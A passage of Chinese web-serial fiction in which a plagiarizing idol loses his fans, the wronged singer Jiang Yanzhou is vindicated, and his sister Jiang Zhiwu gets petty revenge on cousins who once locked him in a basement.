江砚舟不知何时已站在姐姐身侧,目光平静地落在暨明旭身上,补充道:“或者,至少该给专程来这里、还在为你抱着希望的粉丝一个说法。” 暨明旭顺着他的目光猛地转头,心脏骤然一沉。 童话小屋院子的围栏外,不知何时聚集了十数名粉丝,她们手里甚至还拿着应援手幅,只是此刻没有人挥舞,所有人都只是静静地看着他,眼神复杂难辨。那里面有最后的一丝期盼,有不愿相信的挣扎,更多的是被真相刺痛后的茫然与受伤。 “明旭!”最前排的一个女孩终于忍不住开口,“网上的事到底是不是真的?你的歌真的是原创吗?” 暨明旭被很多人问过这个问题。 他被宿姚问过,被经纪人问过,现在又被粉丝这么问。 然而他的回应也只能像前两次一样,恼羞成怒地发火:“你们的爱就这么肤浅吗?如果你们真的支持我,信任我,现在就不会在这里质问我!” 粉丝们眼里的光一点点暗下去。 刚才还红着眼眶期待解释的女孩,此刻眼圈更红,却不是因为委屈,而是因为失望—— 她们大老远赶过来,放弃了工作和学习,只是想确认自己喜欢的人没有犯错,可得到的却不是正面回应,而是指责。 暨明旭说完,也不管粉丝们的反应,转身就往停在路边的车走去。 车门“砰”地关上,他毫不留恋地驾车驶离。 粉丝们站在原地,手里的灯牌慢慢垂了下来,有人忍不住抹了眼泪,还有人盯着车子消失的方向,嘴唇动了动,却什么也说不出来。 过了不知多久,那个最先开口的女孩缓缓转过身。她用力擦了擦眼泪,深吸一口气,目光越过人群,最终落在了始终沉默站在一旁的江砚舟身上。 她走上前几步,在所有人讶异的目光中,对着江砚舟深深地鞠了一躬。 “江老师,对不起。之前网上说你请抢手、说你打压明旭,我没有查证就信了,还在你的评论区跟风骂了你很多难听的话……现在知道真相,我真的特别后悔,也特别抱歉。” 其他仍在震惊和失落中的粉丝们也纷纷反应过来,她们互相看了看,脸上写满了愧疚,接二连三地朝着江砚舟的方向低下头。 “对不起!” “是我们错了……” “请你原谅……” 一时间,道歉声此起彼伏。 江砚舟显然没料到这个发展,整个人愣在原地,显得有些无措。 面对网上之前铺天盖地的责骂,江砚舟说不在意也是假的。但看着眼前一群低着头、满脸愧疚的女孩,原本因为被污蔑而生的气,此刻倒消了大半,只剩下“该怎么处理”的茫然。 他下意识地转头看向江知雾,眼神里带着懵逼和求助的意味。 江知雾只是微笑着回看他,轻轻耸了下肩,眼神里传递着明确的信任和鼓励,丝毫没有要替他解围或代他表态的意思,仿佛在说:“你自己来,你可以处理好。” 江砚舟接收到了姐姐的意思,略显尴尬地摸了摸鼻尖,然后转向那些仍在鞠躬的粉丝们。 “你们先起来吧。”他示意那些粉丝们站直,顺便组织了一下语言,“事情已经清楚了就好。只是希望以后你们再遇到这种事,多保持一点自己的判断,不要轻易被煽动,也别让自己的喜欢变成别人伤害人的武器。回去吧,路上注意安全。” 他的话语算不上多么热络,甚至带着点笨拙的生硬,但话语里的宽容和最后一句简单的关心,却让粉丝们更加羞愧和感动。 她们陆续直起身,再次道谢后,三三两两地、沉默地转身离开。 那位带头道歉的女生走在最后,她忍不住回头又看了一眼。正好看见江砚舟微微侧头,靠近江知雾,压低声音腼腆地问了句:“姐,我这样处理,还行吗?” 江知雾笑着拍了拍他的肩,没有回答,但一切尽在不言中。 女孩忽然就笑了,心里那点因为错付偶像而生的失落,好像被眼前温馨的画面悄悄治愈。 那一刻,她突然清晰地意识到, 网络上那些关于江砚舟“高傲”、“冷漠”、“目中无人”的传言,是多么可笑的不实之词。 这个会因为旁人的道歉而无措、会小心翼翼向姐姐撒娇的少年,内心其实非常、非常温柔。 她加快脚步,心里默默地想:或许,这才是真正值得喜欢的人吧。 粉丝们的身影彻底消失在院门外,江砚舟还没从刚才被一群人围着道歉的无措里完全缓过神,就感觉肩膀被人轻轻拍了一下。 “行啊砚舟,这事总算是沉冤得雪了。”李柏大大咧咧的声音先传了过来,他“哐哐哐”猛拍江砚舟的背,似乎要通过这种方式帮他顺气,“这些天你被网友误会,肯定受了不少委屈吧。” 江砚舟愣了愣:“我没……” 他想说自己其实没觉得多委屈,顶多是觉得暨明旭跟苍蝇似的,有点烦。 可话还没说完,李乐乐就跟着凑了过来,比他这个当事人还激动:“我就知道你肯定不会是那种请枪手的人!” 江砚舟刚张了张嘴,余光又瞥见宿姚走了过来。 宿姚走到他面前,语气比平时更柔和些:“恭喜你拿回了属于自己的清白和公道。” 就连一向话少的江汀,也走过来拍了拍他的胳膊,言简意赅:“辛苦了。” 江砚舟被这一圈人围在中间,听着他们你一言我一语的安慰和声援,脸上罕见地露出了一种近乎懵圈的茫然。 他眨了眨眼,迟疑地开口:“呃……谢谢大家。” 虽然这些人有时候老跟他抢姐姐挺烦的吧,但江砚舟现在却意外地有些温暖。 等大家散去,江知雾看着还处在懵逼状态的弟弟,忍不住轻笑出声。 她提醒:“暨明旭的事情不能就这么算了。他偷窃你的心血,诬陷你的名誉,造成这么大的负面影响,必须让他付出代价。” 她拿出手机,一边划拉着屏幕一边说:“我联系一下公司的法务部,先把他告上去再说。” 江砚舟闻言,倒是很平静地“哦”了一声,然后说:“姐,不用麻烦了。我和章文时已经请好律师团,诉讼流程都已经启动了。” 江知雾倒是有些惊讶了:“嗯?你动作这么快?” 看到姐姐略感意外的表情,江砚舟下意识挺起了胸膛:“那当然!我找到确凿的证据后,第一时间就请了律师团!主打一个让暨明旭赔得倾家荡产,以后听到我的名字就绕道走……” 他正说得起劲,像是想起什么,语气略微收敛了一些:“不过,这次能这么快拿到证据,也多亏了季宁深帮忙。是他找人复原了几年前的监控视频片段,不然还没这么顺利。” 被点名的季宁深淡然道:“举手之劳。调查的方向和关键步骤都是砚舟自己分析和确定的,我只是提供了点技术支持。” 江知雾先弯唇朝他道谢,然后才赞赏地看向江砚舟:“看来我们砚舟这次确实考虑得很周到。” 这一句夸奖仿佛打开了什么不得了的开关。 江砚舟方才那点小得意又开始冒头,并且有迅速膨胀的趋势。 他立刻凑到江知雾身边,开始滔滔不绝: “姐你是不知道!我刚开始想证明自己才是原创,找证据老费劲儿了!然后我就想啊,暨明旭怎么就这么邪门,几首歌都跟我连环撞旋律?所以我开始调查他以前的行踪,果然发现他跟我一道上过音乐培训课……” 他开始事无巨细地分享自己的“破案”思路,从如何摆脱自证的陷阱,到如何搜集证据,再到如何规划反击节奏,恨不得把每一个灵光一闪的瞬间和深思熟虑的步骤都掰碎了、揉开了讲给姐姐听。 江知雾刚开始还面带微笑,听得颇为认真,时不时点头表示肯定。 五分钟过去了,她还在微笑。 十分钟过去了,她点头的频率稍微慢了点。 半小时过去了,她的笑容开始有点僵硬。 …… 两小时过去了! 江砚舟依旧精神抖擞,口若悬河,甚至开始分析暨明旭心理动机的各种可能性以及娱乐圈抄袭现象的生态链了! 江知雾:“……” 她脸上的笑容早已消失不见,忍不住揉了揉嗡嗡作响的耳朵。 她感觉自己仿佛被拖进了一个由弟弟单方面发起的、关于“我是如何机智地打败坏人”的超长详细报告会。 以前那个惜字如金、超级高冷的弟弟哪去了?他是从什么时候变这么话唠的?! 看着弟弟越说越兴奋的样子,江知雾的眼神彻底放空了。 有什么办法能让这个话匣子停下来?!在线等,挺急的! 第54章 暨明旭驾车离开节目录制地点的画面被蹲守的媒体和路人拍下,并迅速在网络上传播。 他面对粉丝质问时恼羞成怒的态度,彻底击碎了最后一批心存侥幸的粉丝的心理防线。 当晚,一位曾多次组织线下应援、为他控评论战到凌晨的大粉,在短暂沉默后,发布了一条近两千字的长文,标题起得很直白—— 《致暨明旭:我用三年热忱,换来了一场彻头彻尾的欺骗》。 长文回顾了她如何被暨明旭的才华和努力吸引,如何省吃俭用支持他的活动、代言,如何熬夜为他做数据、反黑,如何与质疑他原创能力的人激烈争辩……字里行间充满了真情实感与曾经的炽热喜爱。 然而,摆在眼前的铁证、偶像的逃避与指责,最终让她不得不面对现实。 【……我曾经以为,喜欢你是在支持一个追逐梦想的少年。现在才发现,我可能只是你精心编织的幻梦里,一个自我感动的傻瓜。你偷拍走了江砚舟的手稿,不仅辜负了你口口声声所热爱的音乐,更辜负了所有粉丝毫无保留的信任和真心。我们为你摇旗呐喊的每一句‘音乐才子’,如今都成了助纣为虐的笑话。】 【……你可以对我们沉默,但你不该指责我们的爱肤浅。我们的爱曾那么深,深到蒙蔽了自己的双眼,替你挡住了所有理性的声音。现在梦醒了,剩下的只有疲惫、失望,和无法挽回的羞愧。对不起,曾经因相信你而伤害过的所有人。尤其是@江砚舟,对不起。】 【再见,暨明旭。从此不再是你的粉丝。你的歌我再也不会听,你未来的路,我也不会再关注。愿你终有一天,能学会诚实面对自己,承担代价。】 文末,她晒出了自己注销粉丝群管理权限、删除所有应援动态的截图。 这篇情真意切又充满反思的脱粉宣言,引起了巨大共鸣。紧接着,越来越多的大粉、站姐、普通粉丝,开始发布脱粉声明。 与暨明旭这边的惨淡形成鲜明对比的,是江砚舟口碑的彻底反转。 先前那些质疑他“靠家世走后门”“请枪手代笔”的声音,此刻全部消失不见。 网友们翻出江砚舟早年在音乐论坛发布的Demo,那些带着青涩却充满灵气的旋律,成了他真才实学的最佳证明。 【真该让那些说江砚舟靠着家庭背景走捷径的人看看,看他为了一首编曲改了多少版、看看他在录音棚熬了多少个通宵!有钱是他的家世,有才华是他的本事,这两者根本不冲突。】 【回过头想想,暨明旭这个偷子三番五次在节目里各种暗示泼脏水,站在江砚舟的角度看还挺恶心的。】 【之前跟风黑过江老师,现在真诚道歉。没有天赋和努力,光靠家世根本出不了《午后回声》这种爆曲。】 …… 一些高端音乐杂志和乐评人也纷纷发文,重新审视和评价江砚舟的音乐作品,“认识江砚舟很多年,他对音乐的敬畏和执着,在年轻一代里很少见。原创这条路很难,希望大家以后能多给真正用心做音乐的人一点信任。” 这些声音汇聚在一起,让江砚舟的口碑一路飙升。他的旧歌重新回到各大音乐平台的推荐位,播放量暴涨;之前被恶意刷低的评分,也 在网友的自发修正下回到高分水平。 而此刻的童话小屋内,江知雾终于忍无可忍,抬手打断了依旧沉浸在分享翻案过程、喋喋不休的弟弟。 “停!江砚舟!”她按住太阳穴,语气带着一丝“求放过”的疲惫,“你的聪明、机智、果敢、沉稳,姐姐已经完全、彻底、深刻地了解到了!细节就不用再展开讲第五遍了!” 江砚舟意犹未尽地闭上嘴,似乎还有点委屈:“哦……我就是怕有地方遗漏嘛。” 旁边的季宁深“噗嗤”乐出声。 江砚舟瞪他一眼,想起这人刚帮自己弄到了监控,拿人手软,到了嘴边的“你笑什么”又咽了回去,最后只别过脸,瓮声瓮气地哼了一声。 这期综艺的录制总算彻底结束。工作人员开始收拾器材,嘉宾们也各自道别,准备离开童话小镇。 季念念正蹲在地上,把玩偶挂件往背包里塞;江汀的行李很少,只装了一个书包;宿姚则背着吉他,正低头给工作人员签名。 最惹眼的还是李柏兄妹,他们俩那巨大的行李箱敞开着,塞满了各种稀奇古怪的纪念品。 箱子盖死活合不上,李柏只好其中一些打包扛在肩上,另一只手还得费力地拖着臃肿的行李箱,走起来磕磕绊绊,模样着实有些狼狈。 江砚舟抱臂靠在沙发上,目光若有似无地扫过李柏那边。 突然,他迈开长腿,几步走到李柏面前,什么也没说,直接伸手一把将那沉甸甸的包裹从他肩上拿了过来,动作快得跟打劫似的。 “欸?” 李柏肩上猛地一轻,愣在原地,有点没反应过来。 而江砚舟已经利落地转身,把那些东西一股脑塞进了兄妹俩的车子后备箱里,还用力往里推了推,给其他行李腾位置。 李柏脑子里转了半天才反应过来,江砚舟这是主动在帮忙搬东西呢。 等江砚舟帮忙把剩下的行李一起抬进后备箱,李柏感动地给了他一个大大的拥抱:“太感谢了!要不是你帮忙,我这老腰可要闪了。” 江砚舟似乎对肢体接触很不习惯,别开脸,声音含混地嘟囔了一句什么。 李柏没听清,一脸困惑:“啊?你说什么?” 旁边的江知雾一直看着这一幕,见状替她那别扭的弟弟翻译:“他说,‘不客气’。”她笑意更深,带着点了然的调侃,“这小子一不好意思就爱摸鼻子,从小就这样。” 李柏和李乐乐相视一眼,不由弯着眼睛偷偷乐了。 原来顶流还会有不好意思的时候呢。 “姐!” 被姐姐当场拆穿的江砚舟下意识就又想抬手去摸鼻子,手指抬到一半猛地意识到这举动等于不打自招,硬生生刹住车。 于是大家笑得更欢了。 而此时,因为意外事故而中断拍摄的黄芷禾,正躲在刘世昌的办公桌底下。 她这两天都跟刘世昌混在一起,趁着刘世昌新鲜劲还没过,黄芷禾干脆跟着他到华耀传媒办公,顺道认识几个人脉。 结果好死不死的,对方的妻子正好在今天上门。 黄芷禾蜷缩办公桌里,心脏狂跳。她紧紧捂住自己的嘴,生怕一丝一毫的呼吸声都会暴露自己。 而刘世昌的妻子——那位出身名门、气质优雅的林薇正款款走入办公室。 她甚至没有多看丈夫一眼,径直走到会客区的沙发坐下,目光扫过略显凌乱的茶几,上面还放着两个喝过的咖啡杯。 “路过附近,顺道上来看看。”林薇的声音平和,听不出喜怒,却自带一种不容置疑的压迫感,“财务那边报过来,你上个月的私人账户支出有点异常,好几笔大额消费。是又投了什么新项目,还是有什么别的需要?” 刘世昌面上镇定自若,心里却暗道废话。 多养了个情人,各种奢侈品、酒店支出,开销能不大吗? “哦,没什么,最近认识了几个有潜力的年轻人,搞了点天使投资,试水而已。你知道的,这种早期投入看起来数额大,成败还不好说呢。”他语气轻松,仿佛真是那么回事。 林薇静静地看了他一会儿,直到把刘世昌盯出冷汗。 她没有再追问细节,只是淡淡地“嗯”了一声,仿佛只是例行公事地问一句。之后,林薇又坐了几分钟,问了问公司近况,语气就像任何一位关心丈夫事业的妻子。 但在这几分钟里,躲在桌下的黄芷禾每一秒都如同煎熬。 女人的声音总是带着几分漫不经心,并非尖酸刻薄,而是透着与生俱来的优越感,黄芷禾不用看也能想象出对方拿着限量版手包,优雅倚靠在真皮沙发上的模样。 她感觉自己像阴沟里的老鼠,见不得光,只能躲在肮脏的角落瑟瑟发抖。 终于,林薇站起身,似乎打算离开。走到门口时,她回头对刘世昌说:“周末记得早点回家,妈炖了你爱喝的汤。” “好的好的。”刘世昌连忙应承。 门轻轻合上,高跟鞋的声音逐渐远去。 又过了漫长的几分钟,确认人真的走了,刘世昌才长舒一口气,敲了敲桌面道:“出来吧,走了。” 黄芷禾几乎是手脚并用地从桌子底下爬出来,头发凌乱,脸色苍白,裙子上还沾了些灰尘,显得格外狼狈。 刘世昌看着她这副样子,突然就觉得黄芷禾好像也没荧幕上那么好看。 “行了,出来吧,一惊一乍的,没见过世面。”他说。 黄芷禾委屈地撒娇:“刘总,刚才吓死我了……” “没事了,她就是来看看,没发现什么。”刘世昌敷衍地安抚了两句,抽出几张纸巾递给她,“擦擦,整理一下,妆花了就不漂亮了。” 他的安抚毫无温度,更像是在打发一个受了惊吓的宠物。 黄芷禾胡乱地擦了擦脸,心跳依旧很快,那种后怕的感觉还有些挥之不去。 她看着刘世昌略显不耐烦的表情,突然有了种清晰的感觉,自己走的这条路,四周看似光亮,实则却好像步步泥泞。 * 这期节目录制完毕,江知雾第一时间就把弟弟送到医院拆石膏。 拆除的过程很顺利,医生检查后确认恢复良好。江砚舟活动了一下许久未自由活动的右手腕,感觉有些轻微的僵硬和陌生,但确实不疼了。 “怎么样?真没事了?”江知雾仔细看着他的动作。 “嗯,好像好差不多了。”江砚舟试着握了握拳,关节发出轻微的声响。 “那就好。”江知雾松了口气,拿起包,“走吧,去看看姑祖母,她担心你很久了,最近打了好几个电话问情况,只是怕影响你录制才忍着没多说。” 江砚舟点头,乖乖跟上姐姐的步伐。 车子驶向疗养院,途中需要经过一段不短的隧道。 隧道内的灯光不算明亮,间隔有些远,光线昏黄,车辆驶过明暗交替的区间,车厢内也随之忽亮忽暗。 江知雾让司机放缓了车速,眼角的余光始终留意着坐在旁边的弟弟。 这种封闭昏暗的环境,她怕江砚舟会想起当年被关到地下室的经历,而再次应激。 果然,她看到江砚舟的指尖微微蜷缩,眼神有一瞬间的恍惚,但很快又恢复了平静。 江知雾轻声说:“如果还是怕黑的话,就抓住我的手。” 江砚舟闻言一愣,随即笑道:“姐,我现在已经不那么害怕了。” 江知雾快速瞥了他一眼,当发现江砚舟确实没有逞强后,她才面色稍缓。 就在隧道出口的光亮已然在望时,江知雾再度开口,声音听不出什么情绪,仿佛只是随口一问:“还记得当时把你骗进地下室的都有谁吗?” 江砚舟以为她仍在为当年的事情自责,他赶紧用轻松的语气安抚:“都过去那么久了,还提这个干什么?我又不是什么记仇的人,早忘了。” “告诉我。”江知雾坚持。 在姐姐的要求下,这位自称“不记仇”的顶流,几乎是不假思索地、清晰 地报出了一连串名字: “江明轩带头出的主意,江梓琪负责把我引到仓库附近,江浩磊和江梓瑞从后面推的我,江雅婷负责在外面望风,后来也是她偷偷把锁扣上的……” 江知雾目视前方,面色没有任何变化,只是淡淡地、几乎听不见地应了一声: “知道了。” 疗养院VIP病房外的走廊,还是一如既往地热闹。 那些在江老太太病床前殷勤了半个月的姑姨叔伯们,大约是演累了,又或是觉得收效甚微,便打发自家的小辈们前来“替班”。 一群年轻人或靠或坐在走廊的长椅上,个个衣着光鲜,心思却显然不在病房里的老人身上。手机游戏音效、短视频背景音、压低声音的闲聊交织在一起,与其说是探病,不如说是换个地方组团摸鱼。 他们没有老太太的明确传唤,压根进不去病房。于是每日例行公事般过来点个卯,仿佛打卡签到就能在家族功劳簿上记上一笔,指望哪天老太太指缝漏点风,就能落到好处。 当江知雾带着江砚舟出现在走廊尽头时,这股散漫的气氛瞬间一凝。 就像摩西分开了红海,原本歪歪扭扭的人群瞬间弹直了起来。游戏音效戛然而止,手机被迅速揣回兜里或藏到身后,众人脸上迅速堆起或恭敬或讨好的笑容。 “知雾姐。” “雾姐好。” “砚舟,好久不见。” 招呼声此起彼伏,带着小心翼翼的试探。 江知雾照例无视了他们,脚步未停,径直走向病房门口。 守在门口的两个保镖早已站直,见她和江砚舟过来,其中一个上前一步,轻轻替他们推开门,动作恭敬又利落。 江知雾抬脚进去,江砚舟紧随其后,自始至终,姐弟俩都没给走廊里的人一个多余的眼神。 门“咔嗒”一声轻轻合上,隔绝了外面的目光。 走廊里的人你看看我,我看看你,脸上的笑容慢慢垮下来。 “拽什么啊,不就是掌了权吗?”一个浅棕色头发的女生小声嘀咕,却不敢让声音传太远,“咱们好歹也是江家人,江知雾却连句话都懒得跟咱们说……” “行了,别嘟囔了,小心被听见,够你喝一壶的。”戴着金丝眼镜的男生耸耸肩,重新点开手机游戏,“继续等吧,万一待会儿老太太让护工出来传话呢?” 厚重的病房门隔绝了外面的世界,也隔绝了那些嗡嗡作响的杂音。 病房内安静得只剩下医疗仪器轻微的运行声和空气中淡淡的消毒水与药味,江老太太半靠着,精神看起来比想象中要好,虽带着病容,眼神却依旧清亮有神。 她看到姐弟俩,尤其是江砚舟完好无损的右手,脸上顿时露出了真切的笑容。 “姑祖母。”江知雾走上前,语气放缓了许多。 “姑祖母。”江砚舟也凑到床边,难得露出点乖顺模样,“您看,我的手已经没事了,医生都说恢复得很好。” “好好好,没事就好,可担心死我了。”老太太拉着江砚舟的手仔细看了看,轻轻拍了拍,“录节目辛苦了吧?受了委屈没有?”她显然也隐约知道外面发生的一些风波。 “没有,都好着呢。”江砚舟笑着摇头,避重就轻。 江老太太拉着江砚舟的手,仔细端详他拆了石膏的右手腕,眼里满是慈爱和心疼。 “你们两个啊,遇到委屈不必忍着,”老太太声音温和却带着不容置疑的力度,“有事就跟姑祖母说,姑祖母替你们撑腰。我倒要看看,是哪个不长眼的敢惹你们姐弟俩。” 江砚舟心头一暖,刚想说都过去了,却见旁边的江知雾忽然弯起眼睛,笑了起来。 她上前半步,语气轻快地说:“姑祖母这话可是您说的,那我还真有件事,想借您的名头用用。” 江老太太闻言,连是什么事都没问,不甚在意地摆摆手:“拿去用!” 江砚舟在一旁听得云里雾里,完全没闹明白姐姐打算做什么。 江知雾冲他和江老太太俏皮地挤挤眼睛,转身走向病房门口。 门“咔嗒”一声被打开。 原本在外或坐或靠、心思各异的几个年轻人瞬间弹起,迅速收起手机,脸上堆起笑容,目光齐刷刷地聚焦在江知雾身上。 江知雾倚在门框上,脸上挂着温和的笑:“姑祖母刚醒,精神头还不错,就是说有点想喝巷口那家老字号的冰糖炖雪梨,说是比医院食堂的清甜。你们谁有空,跑一趟买回来?记得要刚炖好的,凉了就不好喝了。” 话音刚落,走廊里瞬间安静下来。那家老字号离疗养院少说有四五公里,还在老城区的巷子里,开车都得绕路,更别说现在这个点可能还得排队。没人愿意跑腿,你看我我看你,互相使着眼色。 江知雾目光扫过人群,最后落在那个染着浅棕色头发的女生身上。 她勾起唇托付:“雅婷表妹,听说你往姑祖母这儿跑得很勤,要不这趟就麻烦你了?” 江雅婷哪想到会被江知雾直接点名,可当着这么多人的面,又顶着“孝心”的名头,她根本没法拒绝,只能硬着头皮点头:“……好,我去。” 打发走江雅婷,江知雾又看向那个戴金丝眼镜的男生:“浩磊弟弟,姑祖母说病房里的加湿器没水了,你去帮忙接桶水来吧?记得用过滤后的水,别把加湿器堵了。” 江浩磊皱着眉,想说“不是有护工吗”,可话到嘴边,就对上江知雾那双似笑非笑的眼睛,他头皮莫名一凉,只能把话咽回去,拎着水桶不情不愿地走了。 打发走江浩磊,江知雾的目光又在走廊里转了一圈,像在仔细挑选下一个“得力帮手”。 她的视线最终落在了正悄悄往后缩的江梓琪、江明轩身上,语气不容推辞:“梓琪,明轩,刚听护工说,姑祖母床头那盆兰草该换土了。你们俩去楼下花房弄点回来吧?” 被点名的两人脸上笑容微微僵硬。 楼下花房在疗养院另一侧,要绕大半个院区不说,现在正是闷热的大夏天,出去一趟肯定得满头大汗。 可他们无法拒绝,只能不情不愿地答应:“……知道了。” 在两人转身的时候,江知雾又补充:“你们俩也知道,姑祖母最宝贝这盆金边兰,说土板结了,根会闷坏。你们记得找专门的腐叶土,自己用筛子过一遍,把碎石头挑出来,再掺点珍珠岩。” 随后,她的目光落在了江梓瑞身上:“梓瑞表哥,病房里的垃圾桶满了,保洁阿姨暂时没空过来,你帮忙倒一下吧?” 江知雾可汗大点兵似的,把一群人支使得团团转。 被点名的几个人心里叫苦不迭,脸上却不敢表露分毫,只能认命地各自去完成“姑祖母的吩咐”。 走廊里一时只剩下零星几个未被“眷顾”的旁支子弟,面面相觑,既庆幸又有些不安,生怕下一个被点名的就是自己。 江知雾则气定神闲地坐在椅子上,随手拿起床边的报纸。 约莫过了半个多小时,江雅婷第一个回来了,她手里小心翼翼拎着那盅冰糖炖雪梨,额上沁着细汗,发型也有些微乱。 她刚在门口喘匀气,还没来得及开口,江知雾就探出身,接过炖品,指尖试了试温度,微微蹙眉:“哎呀,好像有点凉了,姑祖母肠胃弱,吃不得凉的。雅婷,辛苦你再跑一趟,让店家重新 炖一盅热的。” 江雅婷差点维持不住笑容:“可、可是知雾姐,这……” “嗯?有什么问题吗?”江知雾眨眨眼,语气无辜又关切,“还是你觉得,让姑祖母凑合喝凉的算了?” “……没,没有,我这就去。”江雅婷咬着后槽牙,硬生生把不满咽了回去,转身时脸色已经相当难看。 几乎同时,江浩磊提着沉甸甸的一桶过滤水回来了。 他好歹也是养尊处优的少爷,提这么桶水,胳膊酸的要命。 但江知雾看了一眼,恍然道:“看我这记性,浩磊,刚护工说加湿器好像不是单纯缺水,有点小故障,你先别加了,去楼下工程部找值班师傅上来看看吧。这桶水先放边上。” 江浩磊:“……” 他看着那桶自己辛苦提来的水,一口气差点没上来。 江知雾如法炮制,如此反复折腾了两三回,不是东西买错了、要重买,就是事情做一半发现方法不对、要返工。 走廊里,以江雅婷为首的几人,已是气喘吁吁,汗流浃背,发型乱了,衣服也脏了,各个狼狈不堪。 终于,江雅婷再也忍不住了,她大声抗议:“江知雾!你到底有完没完?我们也是来探望姑祖母的,不是来给你当苦力还要被呼来喝去折腾着玩的!” 这话一出,旁边几个同样被折腾得够呛的人也纷纷露出附和的神情,眼神里充满了敢怒不敢言。 江知雾脸上的笑容瞬间收敛,她目光扫过几人,语气带着几分难以置信和淡淡的失望:“雅婷,你这话是什么意思?我让你们做的这些,哪一件不是姑祖母需要的?还是说,你们觉得为姑祖母做这点小事,就已经嫌烦了,没孝心了?” 她轻轻叹了口气,显得颇为难过:“我以为你们天天来医院守着,是真心实意关心姑祖母的身体,原来连跑跑腿、做点小事都觉得是在被折腾吗?既然这么不情愿,何必勉强自己待在这里呢?” 这番话说得茶香四溢,却又占尽了道理和道德高地。 江雅婷被噎得满脸通红,一口气堵在胸口,支支吾吾半天说不出反驳的话:“我……我不是那个意思……” 其他几人更是低下头,不敢接话,生怕被扣上“不孝”的帽子。 为了彰显自己的孝心,他们只能认命地闭嘴,继续被差遣着干活。 而病房里,原本靠在门上看热闹的江砚舟忽然愣了一下。 他下意识地扫过走廊里那几张熟悉的脸——江雅婷、江浩磊、江梓琪、江明轩、江梓瑞……可不就是当年把自己骗进地下室的那几个人吗? 江砚舟这会儿才后知后觉地反应过来,姐姐哪里是在支使他们干活,分明是在帮自己出气! 他看着姐姐的背影,忍不住低下头,试图掩饰控制不住上扬的嘴角。 可最终,他还是没忍住,有些腼腆地抿唇笑了。 第55章 江雅婷等人被支使着来来回回跑了好几趟,最后不顾形象地一屁股坐到地上,累得像条死狗。 江知雾觉得折腾得差不多了,这才慢悠悠地摆了摆手,仿佛恩赐般:“好了,辛苦大家了。姑祖母说有点累,需要安静休息,各位今天的心意到了就行,先回吧。” 走廊里如蒙大赦的几人顿时松了口气,几乎是逃也般地迅速离开,连多一秒钟都不愿待下去。 直到他们的脚步声彻底消失在电梯口,江知雾才起身揉了揉手腕,转身推门走进病房。 病房里,江老太太正拉着江砚舟的手低声说着什么,见江知雾进来,两人同时抬眼望过来。 方才江知雾折腾那些人时,江老太太全程没发表过意见。直到现在,她才略带好奇地问:“那几个小子丫头,从小就被家里宠得无法无天,眼高手低的,也就是你能治得住他们。不过,你向来不是爱跟这些人计较的性子,怎么今天突然想折腾他们了?” 江知雾在床边坐下,平静地说:“您还记得当年警方让家属去认领尸体,我把砚舟托付给叔伯照顾的事情吗?” “当然记得。”江老太太眉心一跳,意识到了什么,“那天……难道还发生了别的事?” 江知雾没有隐瞒,语气平淡地粗略说道:“也没什么大事。就是当时他们几个合起伙来,用找爸爸妈妈的借口,把砚舟骗到地下室,锁他在里面关了大半天。那地方没灯,又黑又冷,砚舟那时候还小,吓得不轻,落下了怕黑的毛病,好久才缓过来。” 她语气轻描淡写,但内容却让江老太太的脸色瞬间沉了下去。 “什么?!” 江老太太的声音猛地拔高,原本靠在枕头上的身体瞬间坐直了些。她转头看向江砚舟,眼神里满是震惊与心疼:“砚舟,你……你怎么从来没跟我说过这些事?” 江砚舟被老太太的反应吓了一跳,连忙反手握住她的手,语气尽量轻松:“姑祖母,都过去好多年了,没事的。” 江老太太眼里闪着泪光:“好孩子,是我对不起你们。我那时候光顾着稳住集团,光顾着处理宏远和苏婉的后事,竟没注意到两个孩子受了这种委屈!那些人是看着你们父母不在了,觉得你们好欺负,才敢合起伙来这么糟蹋人!我江家怎么养出这么一群狼心狗肺的东西!” “姑祖母,您别这样,都过去了。”江知雾连忙握住老太太颤抖的手,轻声安抚。 江砚舟也凑过来,语气轻松地帮腔:“就是啊姑祖母,您看我现在不是好好的嘛?能跑能跳,身体倍儿棒。”他刻意做出夸张的表情,试图逗笑老人。 老太太看着两个孩子反过来安慰自己,心里又是酸涩又是欣慰。她长长叹了口气,反手紧紧握住姐弟俩的手,用力拍了拍:“好孩子,你们都是好孩子……” 气氛稍稍缓和后,江知雾笑着转移话题,从自己带来的大包里拿出速写本和炭笔:“姑祖母,难得今天天气好,您精神也不错,我给您画张速写吧?就画您和砚舟。” 老太太果然被吸引了注意力,脸上重新露出笑容,惊喜道:“哎哟,我们总裁有空给我画画了?好好好,这可是我的荣幸。”她说着,还特意理了理头发和衣领,又朝江砚舟招手,“砚舟,过来,坐姑祖母边上。” 江砚舟配合地坐到床边,微微侧身,靠着老太太。 午后的阳光透过洁净的玻璃窗洒进来,落在祖孙二人身上,勾勒出温暖宁静的轮廓。江知雾坐在对面的椅子上,低头专注地勾勒着笔下的线条,炭笔摩擦纸张发出沙沙的轻响。 病房里安静下来,只剩下笔尖滑动的声音和轻柔的呼吸声。 江老太太看着认真作画的江知雾,目光柔和,充满了慈爱和一丝不易察觉的感叹。她忽然轻声开口:“知雾啊,看着你现在这样,真好。” 江知雾没有抬头,笔尖未停,只轻轻“嗯?”了一声。 老太太继续感叹:“还记得你刚接掌集团的时候,才二十出头,天天泡在公司里,有时候连轴转两三天都不回家,饭都是在办公室随便对付一口,那股子拼劲,简直是不要命。那时候我就想,这孩子怎么就不知道心疼自己呢?” 江知雾手中的笔顿了顿。 她抬起头,看向沐浴在阳光里的姑祖母和弟弟,眼神变得格外柔软。 她微微笑了笑,声音温和而坚定:“以前总觉得,要拼了命地往前跑,手里攥着更多的权力、更多的钱,才能给想保护的人打造一个绝对安全稳固的环境,以为那样就是最好的保护。” 她的目光再次落回画纸上,笔下的线条更加温柔。 “但现在我发现,或许陪伴本身,对家人来说更重要。能在一起说说话、晒晒太阳、画幅画,这些看似平常的时光,其实才是最安稳、最难得的。” 江砚舟和江老太太都在静静地听着她说话。 江老太太的眼角渐渐湿润:“好,说得好……我们知雾想通了,身边还有个知冷知热的男朋友 照顾着,老太婆我呀,也可以放心了。” “男朋友?”江砚舟一秒警觉,飞快地瞥了姐姐一眼。 等又聊了会儿家常,告别江老太太之后,江砚舟才把憋了半天的问题问出口: “姐,什么男朋友?我怎么不知道?!” 江知雾没料到这小子耳朵这么尖,而且关注点完全跑偏,先是愣了一下,随即失笑:“你说那个啊……就是个误会。” 她随口解释了上回让季宁深假扮男朋友的事情。 江砚舟闻言,脸色非但没有缓和,反而更臭了几分:“不是,为什么啊?我就奇了怪了,怎么你跟他随便往那儿一站,所有人就都能自动把他脑补成你男朋友?” 江知雾被弟弟这番愤愤不平的控诉逗乐了。 